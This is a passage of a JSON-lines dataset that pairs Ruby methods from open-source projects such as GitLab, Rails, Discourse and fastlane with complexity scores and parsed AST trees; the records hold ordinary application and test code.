{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/app_tree.rb","start_line":325,"raw_source":"def convert_to_file_paths paths\n      paths.map { |path| file_path(path) }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_to_file_paths\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"paths\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"file_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"bb214d95-2d76-4fcd-a23f-c6056140eced"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/work_items/widget_definitions/hierarchy_type.rb","start_line":26,"raw_source":"def allowed_child_types(parent:)\n          parent.allowed_child_types(authorize: true, resource_parent: context[:resource_parent])\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_child_types\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"parent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"allowed_child_types\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorize\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_parent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"resource_parent\"]}]}]}]}]}]}","id":"d13af239-8024-47f1-8160-c73d522d371b"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/imports/source_detector.rb","start_line":88,"raw_source":"def detect_source!\n    format = detect_source\n    raise UnknownSourceError, 'Unable to detect file format' unless format\n\n    format\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"detect_source!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"format\",{\"type\":\"send\",\"children\":[null,\"detect_source\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"UnknownSourceError\"]},{\"type\":\"str\",\"children\":[\"Unable to detect file format\"]}]}]},{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}","id":"02f4612d-310f-4465-96f0-705d85973e10"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/message.rb","start_line":140,"raw_source":"def channel_token\n    @token ||= inbox.channel.try(:page_access_token)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"channel_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"channel\"]},\"try\",{\"type\":\"sym\",\"children\":[\"page_access_token\"]}]}]}]}","id":"71eddb6a-cebd-421e-b088-d079bacbf0c1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/cycle_analytics_helpers.rb","start_line":8,"raw_source":"def toggle_value_stream_dropdown\n    page.find('[data-testid=\"dropdown-value-streams\"]').click\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"toggle_value_stream_dropdown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"[data-testid=\\\"dropdown-value-streams\\\"]\"]}]},\"click\"]}]}","id":"86cfad40-fee9-4c42-854f-93d9e02b1bcf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/badge/pipeline/template.rb","start_line":35,"raw_source":"def value_text\n          STATUS_RENAME[@status.to_s] || @status.to_s\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"value_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STATUS_RENAME\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"to_s\"]}]}]}","id":"acb9888d-74ce-49dd-9838-3f5ac269e46e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/migration/update_first_response_time_in_reporting_events_job.rb","start_line":19,"raw_source":"def get_conversations_with_bot_handoffs(account)\n    @conversations_with_handoffs = account.reporting_events.where(name: 'conversation_bot_handoff').pluck(:conversation_id)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_conversations_with_bot_handoffs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@conversations_with_handoffs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"reporting_events\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"conversation_bot_handoff\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"conversation_id\"]}]}]}]}","id":"219bb43c-5eff-45df-a234-bec38e84bab8"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/portal_client.rb","start_line":723,"raw_source":"def delete_provisioning_profile!(profile_id, mac: false)\n      fetch_csrf_token_for_provisioning\n      r = request(:post, \"account/#{platform_slug(mac)}/profile/deleteProvisioningProfile.action\", {\n        teamId: team_id,\n        provisioningProfileId: profile_id\n      })\n      parse_response(r)\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_provisioning_profile!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"profile_id\"]},{\"type\":\"kwoptarg\",\"children\":[\"mac\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_csrf_token_for_provisioning\"]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"account/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"platform_slug\",{\"type\":\"lvar\",\"children\":[\"mac\"]}]}]},{\"type\":\"str\",\"children\":[\"/profile/deleteProvisioningProfile.action\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"teamId\"]},{\"type\":\"send\",\"children\":[null,\"team_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provisioningProfileId\"]},{\"type\":\"lvar\",\"children\":[\"profile_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"parse_response\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]}","id":"74476723-7022-4fd0-b98c-59149fe574ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/protection/create_rule_service.rb","start_line":40,"raw_source":"def creation_params_with_defaults(params)\n        params.merge(\n          pattern: params[:package_name_pattern],\n          # These 2 fields are currently fixed values for all package protection rules\n          pattern_type: Packages::Protection::Rule.pattern_types[:wildcard],\n          target_field: Packages::Protection::Rule.target_fields[:package_name]\n        )\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"creation_params_with_defaults\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pattern\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"package_name_pattern\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pattern_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"Protection\"]},\"Rule\"]},\"pattern_types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"wildcard\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"Protection\"]},\"Rule\"]},\"target_fields\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"package_name\"]}]}]}]}]}]}","id":"96720e26-0cc7-4f81-80d0-2fbc942357f2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_queue.rb","start_line":173,"raw_source":"def self.broadcast(options)\n    # Currently not filterable by these keys (:zone, :role)\n    #\n    # If this feature is ever needed, ensure you are not just passing the\n    # values from :zone and :role, but ALSO filtering the server list down by\n    # those same values to ensure orphan jobs are not being created.\n    raise ArgumentError, \"invalid key :zone\" if options.key?(:zone)\n    raise ArgumentError, \"invalid key :role\" if options.key?(:role)\n\n    MiqServer.active_miq_servers.select(:id, :guid).each do |server|\n      put(options.merge(:server_guid => server.guid, :zone => nil, :role => nil))\n    end\n  end","complexity_score":14.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"broadcast\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"zone\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"invalid key :zone\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"role\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"invalid key :role\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"active_miq_servers\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"guid\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"server\"]}]},{\"type\":\"send\",\"children\":[null,\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server_guid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"guid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}]}","id":"478c99b5-38ca-4f8c-8fa9-2669f912cb2d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/packages/go/module_version.rb","start_line":99,"raw_source":"def blobs\n        @mod.project.repository.batch_blobs(files.map { |x| [@commit.sha, x] })\n      end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"blobs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mod\"]},\"project\"]},\"repository\"]},\"batch_blobs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"files\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commit\"]},\"sha\"]},{\"type\":\"lvar\",\"children\":[\"x\"]}]}]}]}]}","id":"73cd4666-b439-4341-9561-ec8d95a565ef"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/trust_level.rb","start_line":53,"raw_source":"def self.find_previous_trust_level(user)\n    UserHistory\n      .where(action: UserHistory.actions[:change_trust_level])\n      .where(target_user_id: user.id)\n      .order(created_at: :desc)\n      .pick(:new_value)\n      .to_i\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_previous_trust_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"change_trust_level\"]}]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"pick\",{\"type\":\"sym\",\"children\":[\"new_value\"]}]},\"to_i\"]}]}","id":"d68a4984-e715-4a58-84dc-b8f6a08e29dd"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":357,"raw_source":"def test_websocket\n    draw do\n      connect \"chat/live\", to: \"chat#live\"\n    end\n\n    # HTTP/1.1 connection upgrade:\n    get \"/chat/live\", headers: { \"REQUEST_METHOD\" => \"GET\", \"HTTP_CONNECTION\" => \"Upgrade\", \"HTTP_UPGRADE\" => \"websocket\" }\n    assert_equal \"chat#live\", @response.body\n\n    # `rack.protocol` connection:\n    get \"/chat/live\", headers: { \"REQUEST_METHOD\" => \"CONNECT\", \"rack.protocol\" => \"websocket\" }\n    assert_equal \"chat#live\", @response.body\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_websocket\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"connect\",{\"type\":\"str\",\"children\":[\"chat/live\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"chat#live\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/chat/live\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"REQUEST_METHOD\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP_CONNECTION\"]},{\"type\":\"str\",\"children\":[\"Upgrade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP_UPGRADE\"]},{\"type\":\"str\",\"children\":[\"websocket\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"chat#live\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/chat/live\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"REQUEST_METHOD\"]},{\"type\":\"str\",\"children\":[\"CONNECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"rack.protocol\"]},{\"type\":\"str\",\"children\":[\"websocket\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"chat#live\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"a2134c57-0f6b-4b5b-a699-38e007f09f73"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/link_details_extractor.rb","start_line":163,"raw_source":"def description\n    html_entities.decode(structured_data&.description || opengraph_tag('og:description') || meta_tag('description'))\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"html_entities\"]},\"decode\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"structured_data\"]},\"description\"]},{\"type\":\"send\",\"children\":[null,\"opengraph_tag\",{\"type\":\"str\",\"children\":[\"og:description\"]}]}]},{\"type\":\"send\",\"children\":[null,\"meta_tag\",{\"type\":\"str\",\"children\":[\"description\"]}]}]}]}]}","id":"f3d74019-5ae4-4576-869a-2dd2cd798319"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/where_clause.rb","start_line":36,"raw_source":"def or(other)\n        left = self - other\n        common = self - left\n        right = other - common\n\n        if left.empty? || right.empty?\n          common\n        else\n          left = left.ast\n          left = left.expr if left.is_a?(Arel::Nodes::Grouping)\n\n          right = right.ast\n          right = right.expr if right.is_a?(Arel::Nodes::Grouping)\n\n          or_clause = if left.is_a?(Arel::Nodes::Or)\n            Arel::Nodes::Or.new(left.children + [right])\n          else\n            Arel::Nodes::Or.new([left, right])\n          end\n\n          common.predicates << Arel::Nodes::Grouping.new(or_clause)\n          common\n        end\n      end","complexity_score":38.4,"ast_json":"{\"type\":\"def\",\"children\":[\"or\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"left\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"-\",{\"type\":\"lvar\",\"children\":[\"other\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"common\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"-\",{\"type\":\"lvar\",\"children\":[\"left\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"right\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"common\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right\"]},\"empty?\"]}]},{\"type\":\"lvar\",\"children\":[\"common\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"left\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"ast\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Grouping\"]}]},{\"type\":\"lvasgn\",\"children\":[\"left\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"expr\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"right\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right\"]},\"ast\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Grouping\"]}]},{\"type\":\"lvasgn\",\"children\":[\"right\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right\"]},\"expr\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"or_clause\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Or\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Or\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"children\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Or\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},{\"type\":\"lvar\",\"children\":[\"right\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"common\"]},\"predicates\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Grouping\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"or_clause\"]}]}]},{\"type\":\"lvar\",\"children\":[\"common\"]}]}]}]}]}","id":"40313c7b-da42-4a11-b40c-8bdd5071e91b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/serializers/chat/message_serializer.rb","start_line":143,"raw_source":"def include_in_reply_to?\n      object.in_reply_to_id.presence\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"include_in_reply_to?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"in_reply_to_id\"]},\"presence\"]}]}","id":"c645ac3b-5857-4648-b606-37f0d98f1280"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service.rb","start_line":391,"raw_source":"def raise_request_start_event\n    update_progress(:power_status => 'starting')\n    MiqEvent.raise_evm_event(self, :request_service_start)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_request_start_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_progress\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"power_status\"]},{\"type\":\"str\",\"children\":[\"starting\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEvent\"]},\"raise_evm_event\",{\"type\":\"self\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"request_service_start\"]}]}]}]}","id":"a702f550-78dc-4d1f-ab1d-995635b17733"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/spec/core_ext/shellwords_ext_spec.rb","start_line":206,"raw_source":"def confirm_shell_unescapes_string_correctly(string, escaped)\n  compare_string = string.to_s.dup\n\n  if FastlaneCore::CommandExecutor.which('grep')\n    if FastlaneCore::Helper.windows?\n      compare_string = simulate_windows_shell_unwrapping(compare_string)\n    else\n      compare_string = simulate_normal_shell_unwrapping(compare_string)\n    end\n    compare_command = \"grep 'foo' #{escaped}\"\n    expected_compare_error = \"grep: \" + compare_string + \": No such file or directory\"\n  elsif FastlaneCore::CommandExecutor.which('find')\n    compare_string = simulate_normal_shell_unwrapping(compare_string)\n    compare_string = compare_string.upcase\n    compare_command = \"find \\\"foo\\\" #{escaped}\"\n    expected_compare_error = \"File not found - \" + compare_string\n  end\n\n  # https://stackoverflow.com/a/18623297/252627, last variant\n  require 'open3'\n  Open3.popen3(compare_command) do |stdin, stdout, stderr, thread|\n    error = stderr.read.chomp\n    # expect(error).to eq(expected_compare_error)\n    expect(error).to eq(expected_compare_error) # match(/#{expected_compare_error}/)\n  end\nend","complexity_score":39.9,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_shell_unescapes_string_correctly\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]},{\"type\":\"arg\",\"children\":[\"escaped\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"compare_string\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"to_s\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"CommandExecutor\"]},\"which\",{\"type\":\"str\",\"children\":[\"grep\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"windows?\"]},{\"type\":\"lvasgn\",\"children\":[\"compare_string\",{\"type\":\"send\",\"children\":[null,\"simulate_windows_shell_unwrapping\",{\"type\":\"lvar\",\"children\":[\"compare_string\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"compare_string\",{\"type\":\"send\",\"children\":[null,\"simulate_normal_shell_unwrapping\",{\"type\":\"lvar\",\"children\":[\"compare_string\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"compare_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"grep 'foo' \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_compare_error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"grep: \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"compare_string\"]}]},\"+\",{\"type\":\"str\",\"children\":[\": No such file or directory\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"CommandExecutor\"]},\"which\",{\"type\":\"str\",\"children\":[\"find\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"compare_string\",{\"type\":\"send\",\"children\":[null,\"simulate_normal_shell_unwrapping\",{\"type\":\"lvar\",\"children\":[\"compare_string\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"compare_string\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compare_string\"]},\"upcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"compare_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"find \\\"foo\\\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_compare_error\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"File not found - 